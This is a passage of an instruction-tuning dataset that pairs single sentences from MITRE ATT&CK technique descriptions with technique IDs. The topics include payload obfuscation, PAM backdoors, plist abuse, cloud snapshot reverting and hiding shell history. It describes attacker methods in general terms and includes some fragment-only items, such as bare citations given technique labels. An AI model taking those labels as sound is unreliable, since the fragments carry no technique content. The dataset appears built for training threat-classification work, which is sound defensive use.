and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding)", "output": "T1132.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) ### Response: T1132.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some data encoding systems may also result in data compression, such as gzip.", "output": "T1132.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some data encoding systems may also result in data compression, such as gzip. ### Response: T1132.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may embed payloads within other files to conceal malicious content from defenses.", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may embed payloads within other files to conceal malicious content from defenses. ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content.", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module.", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)", "output": "T1027.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT) ### Response: T1027.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services.", "output": "T1150", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. ### Response: T1150."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >.", "output": "T1150", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. ### Response: T1150."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others.", "output": "T1150", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. ### Response: T1150."}{"instruction": "List the MITRE techniques contained in the text.", "input": "plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges).", "output": "T1150", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). ### Response: T1150."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism.", "output": "T1150", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. ### Response: T1150."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Sofacy Komplex Trojan)", "output": "T1150", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Sofacy Komplex Trojan) ### Response: T1150."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts.", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services.", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation:", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple PAM)(Citation: Man Pam_Unix)(Citation:", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple PAM)(Citation: Man Pam_Unix)(Citation: ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Red Hat PAM)", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Red Hat PAM) ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify components of the PAM system to create backdoors.", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify components of the PAM system to create backdoors. ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials.", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)", "output": "T1556.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM) ### Response: T1556.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure.", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)", "output": "T1578", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020) ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence.", "output": "T1578.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. ### Response: T1578.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.", "output": "T1578.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. ### Response: T1578.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another variation of this technique is to utilize temporary storage attached to the compute instance.", "output": "T1578.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another variation of this technique is to utilize temporary storage attached to the compute instance. ### Response: T1578.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", "output": "T1578.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot) ### Response: T1578.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out.", "output": "T1148", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. ### Response: T1148."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\".", "output": "T1148", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". ### Response: T1148."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\".", "output": "T1148", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". ### Response: T1148."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples.", "output": "T1148", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. ### Response: T1148."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history.", "output": "T1148", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. ### Response: T1148."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.", "output": "T1148", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. ### Response: T1148."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", "output": "T1148", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands. ### Response: T1148."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's host hardware that can be used during targeting.", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's host hardware that can be used during targeting. ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "output": "T1592.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). ### Response: T1592.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's host firmware that can be used during targeting.", "output": "T1592.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's host firmware that can be used during targeting. ### Response: T1592.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, 